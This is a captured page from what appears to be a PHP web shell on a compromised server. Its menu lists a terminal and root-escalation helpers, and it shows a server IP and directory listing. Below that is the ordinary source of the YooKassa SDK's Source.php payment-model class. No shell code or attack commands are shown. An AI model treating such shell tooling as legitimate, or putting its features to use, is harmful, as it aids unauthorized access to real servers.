Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.145.158.137
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
3 /
yoomoney /
yookassa-sdk-php /
lib /
Model /
Delete
Unzip
Name
Size
Permission
Date
Action
Confirmation
[ DIR ]
drwxrwxr-x
2023-01-19 06:56
ConfirmationAttributes
[ DIR ]
drwxrwxr-x
2023-01-19 06:56
Deal
[ DIR ]
drwxrwxr-x
2023-01-19 06:56
Notification
[ DIR ]
drwxrwxr-x
2023-01-19 06:56
PaymentData
[ DIR ]
drwxrwxr-x
2023-01-19 06:56
PaymentMethod
[ DIR ]
drwxrwxr-x
2023-01-19 06:56
Payout
[ DIR ]
drwxrwxr-x
2023-01-19 06:56
Receipt
[ DIR ]
drwxrwxr-x
2023-01-19 06:56
Webhook
[ DIR ]
drwxrwxr-x
2023-01-19 06:56
Airline.php
9.95
KB
-rw-rw-r--
2023-01-19 06:56
AirlineInterface.php
1.97
KB
-rw-rw-r--
2023-01-19 06:56
AmountInterface.php
2.13
KB
-rw-rw-r--
2023-01-19 06:56
AuthorizationDetails.php
5.61
KB
-rw-rw-r--
2023-01-19 06:56
AuthorizationDetailsInterface.php
2.6
KB
-rw-rw-r--
2023-01-19 06:56
BaseDeal.php
2.35
KB
-rw-rw-r--
2023-01-19 06:56
CancellationDetails.php
4.09
KB
-rw-rw-r--
2023-01-19 06:56
CancellationDetailsInterface.php
1.95
KB
-rw-rw-r--
2023-01-19 06:56
CancellationDetailsPartyCode.php
1.92
KB
-rw-rw-r--
2023-01-19 06:56
CancellationDetailsReasonCode.php
9.53
KB
-rw-rw-r--
2023-01-19 06:56
ConfirmationType.php
2.64
KB
-rw-rw-r--
2023-01-19 06:56
CurrencyCode.php
1.96
KB
-rw-rw-r--
2023-01-19 06:56
DealInterface.php
4.58
KB
-rw-rw-r--
2023-01-19 06:56
Leg.php
4.93
KB
-rw-rw-r--
2023-01-19 06:56
LegInterface.php
2.7
KB
-rw-rw-r--
2023-01-19 06:56
Locale.php
1.64
KB
-rw-rw-r--
2023-01-19 06:56
Metadata.php
2.21
KB
-rw-rw-r--
2023-01-19 06:56
MonetaryAmount.php
9.03
KB
-rw-rw-r--
2023-01-19 06:56
NotificationEventType.php
3.25
KB
-rw-rw-r--
2023-01-19 06:56
NotificationType.php
1.36
KB
-rw-rw-r--
2023-01-19 06:56
Passenger.php
3.94
KB
-rw-rw-r--
2023-01-19 06:56
PassengerInterface.php
1.8
KB
-rw-rw-r--
2023-01-19 06:56
Payment.php
32.86
KB
-rw-rw-r--
2023-01-19 06:56
PaymentInterface.php
9.06
KB
-rw-rw-r--
2023-01-19 06:56
PaymentMethodType.php
4.48
KB
-rw-rw-r--
2023-01-19 06:56
PaymentStatus.php
2.37
KB
-rw-rw-r--
2023-01-19 06:56
Payout.php
15.97
KB
-rw-rw-r--
2023-01-19 06:56
PayoutInterface.php
4.88
KB
-rw-rw-r--
2023-01-19 06:56
PayoutStatus.php
2.48
KB
-rw-rw-r--
2023-01-19 06:56
Receipt.php
23.58
KB
-rw-rw-r--
2023-01-19 06:56
ReceiptCustomer.php
8.22
KB
-rw-rw-r--
2023-01-19 06:56
ReceiptCustomerInterface.php
3.02
KB
-rw-rw-r--
2023-01-19 06:56
ReceiptInterface.php
3.4
KB
-rw-rw-r--
2023-01-19 06:56
ReceiptItem.php
38.2
KB
-rw-rw-r--
2023-01-19 06:56
ReceiptItemInterface.php
10.04
KB
-rw-rw-r--
2023-01-19 06:56
ReceiptRegistrationStatus.php
2.34
KB
-rw-rw-r--
2023-01-19 06:56
ReceiptType.php
1.81
KB
-rw-rw-r--
2023-01-19 06:56
Recipient.php
4.91
KB
-rw-rw-r--
2023-01-19 06:56
RecipientInterface.php
2.35
KB
-rw-rw-r--
2023-01-19 06:56
Refund.php
16.26
KB
-rw-rw-r--
2023-01-19 06:56
RefundInterface.php
4.09
KB
-rw-rw-r--
2023-01-19 06:56
RefundStatus.php
1.76
KB
-rw-rw-r--
2023-01-19 06:56
Requestor.php
4.65
KB
-rw-rw-r--
2023-01-19 06:56
RequestorInterface.php
1.98
KB
-rw-rw-r--
2023-01-19 06:56
SafeDeal.php
13
KB
-rw-rw-r--
2023-01-19 06:56
Settlement.php
4.56
KB
-rw-rw-r--
2023-01-19 06:56
SettlementInterface.php
1.76
KB
-rw-rw-r--
2023-01-19 06:56
Source.php
5.15
KB
-rw-rw-r--
2023-01-19 06:56
SourceInterface.php
3.61
KB
-rw-rw-r--
2023-01-19 06:56
Supplier.php
4.02
KB
-rw-rw-r--
2023-01-19 06:56
SupplierInterface.php
3.01
KB
-rw-rw-r--
2023-01-19 06:56
ThreeDSecure.php
2.26
KB
-rw-rw-r--
2023-01-19 06:56
Transfer.php
9.07
KB
-rw-rw-r--
2023-01-19 06:56
TransferInterface.php
6.54
KB
-rw-rw-r--
2023-01-19 06:56
TransferStatus.php
2.14
KB
-rw-rw-r--
2023-01-19 06:56
Save
Rename
<?php /** * The MIT License * * Copyright (c) 2022 "YooMoney", NBСO LLC * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace YooKassa\Model; use YooKassa\Common\AbstractObject; use YooKassa\Common\Exceptions\EmptyPropertyValueException; use YooKassa\Common\Exceptions\InvalidPropertyValueTypeException; use YooKassa\Helpers\TypeCast; /** * Класс объекта распределения денег в магазин * * @property AmountInterface $amount Сумма возврата * @property AmountInterface $platform_fee_amount Комиссия, которую вы удержали при оплате, и хотите вернуть * @property string $accountId Идентификатор магазина, для которого вы хотите провести возврат */ class Source extends AbstractObject implements SourceInterface { /** * @var string */ private $_accountId; /** * @var AmountInterface */ private $_amount; /** * @var AmountInterface */ private $_platform_fee_amount; /** * @inheritDoc */ public function setAccountId($value) { if ($value === null || $value === '') { throw new EmptyPropertyValueException( 'Empty value for "accountId" parameter in Source', 0, 'source.accountId' ); } elseif (!TypeCast::canCastToString($value)) { throw new InvalidPropertyValueTypeException( 'Invalid value type for "accountId" parameter in Source', 0, 'source.accountId' ); } else { $this->_accountId = (string)$value; } } /** * @inheritDoc */ public function getAccountId() { return $this->_accountId; } /** * @inheritDoc */ public function getAmount() { return $this->_amount; } /** * @inheritDoc */ public function hasAmount() { return !empty($this->_amount); } /** * @inheritDoc */ public function setAmount($value) { if ($value === null || $value === '') { throw new EmptyPropertyValueException( 'Empty value for "amount" parameter in Source', 0, 'source.amount' ); } elseif (is_array($value)) { $this->_amount = $this->factoryAmount($value); } elseif ($value instanceof AmountInterface) { $this->_amount = $value; } else { throw new InvalidPropertyValueTypeException( 'Invalid value type for "amount" parameter in Source', 0, 'source.amount', $value ); } } /** * @inheritDoc */ public function getPlatformFeeAmount() { return $this->_platform_fee_amount; } /** * @inheritDoc */ public function hasPlatformFeeAmount() { return !empty($this->_platform_fee_amount); } /** * @inheritDoc */ public function setPlatformFeeAmount($value) { if ($value === null || $value === '') { throw new EmptyPropertyValueException( 'Empty value for "platform_fee_amount" parameter in Source', 0, 'source.platform_fee_amount' ); } elseif (is_array($value)) { $this->_platform_fee_amount = $this->factoryAmount($value); } elseif ($value instanceof AmountInterface) { $this->_platform_fee_amount = $value; } else { throw new InvalidPropertyValueTypeException( 'Invalid value type for "platform_fee_amount" parameter in Source', 0, 'source.platform_fee_amount', $value ); } } /** * Фабричный метод создания суммы * * @param array $options Сумма в виде ассоциативного массива * * @return AmountInterface Созданный инстанс суммы */ private function factoryAmount($options) { $amount = new MonetaryAmount(null, $options['currency']); if ($options['value'] > 0) { $amount->setValue($options['value']); } return $amount; } }